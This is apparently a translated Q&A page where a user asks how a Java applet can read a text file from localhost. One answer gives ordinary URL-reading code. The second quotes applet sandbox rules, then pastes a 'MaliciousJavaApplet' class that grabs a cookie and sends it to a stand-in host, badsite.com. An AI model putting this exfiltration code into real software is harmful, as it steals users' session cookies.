0

我想创建一个简单的 URL 连接,例如,从我的预定义主机读取内容,在我的例子中 - localhost/applet,你能告诉我怎么做吗?我一直在谷歌搜索,但到目前为止没有任何明显的成功。

该文件的内容是some text SOME TEXT,然后应该在小程序中打印。

4

2 回答 2

0

您可以使用 URL 类执行此操作:

URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream();  // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));

while ((line = dis.readLine()) != null) {
    System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}

你的问题有点混乱,如果我没有回答,请告诉我。你是什​​么意思localhost/applet它是一个java小程序?还是只是一个文本文件名小程序?文本文件到底在哪里?

于 2013-03-20T14:25:45.080 回答
0

未签名的小程序

未签名的小程序可以执行以下操作:

他们可以与他们来自的主机建立网络连接。他们可以使用 java.applet.AppletContext 类的 showDocument 方法轻松地显示 HTML 文档。他们可以在同一页面上调用其他小程序的公共方法。从本地文件系统(从用户的 CLASSPATH 中的目录)加载的小程序没有通过网络加载的小程序所具有的限制。他们可以读取安全系统属性。有关安全系统属性的列表,请参阅系统属性。使用 JNLP 启动时,未签名的小程序还可以执行以下操作: 它们可以在客户端打开、读取和保存文件。他们可以访问共享的系统范围的剪贴板。他们可以访问打印功能。他们可以在客户端上存储数据,决定应如何下载和缓存小程序,等等。有关使用 JNLP API 开发小程序的更多信息,请参阅 JNLP API。未签名的小程序不能执行以下操作:

他们无法访问客户端资源,例如本地文件系统、可执行文件、系统剪贴板和打印机。他们无法连接到任何第三方服务器(除了它源自的服务器之外的任何服务器)或从任何第三方服务器检索资源。他们无法加载本机库。他们无法更改 SecurityManager。他们无法创建 ClassLoader。他们无法读取某些系统属性。有关禁止的系统属性列表,请参阅系统属性。签名小程序

已签名的小程序没有对未签名的小程序施加的安全限制,并且可以在安全沙箱之外运行。

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}
于 2013-03-20T14:27:23.663 回答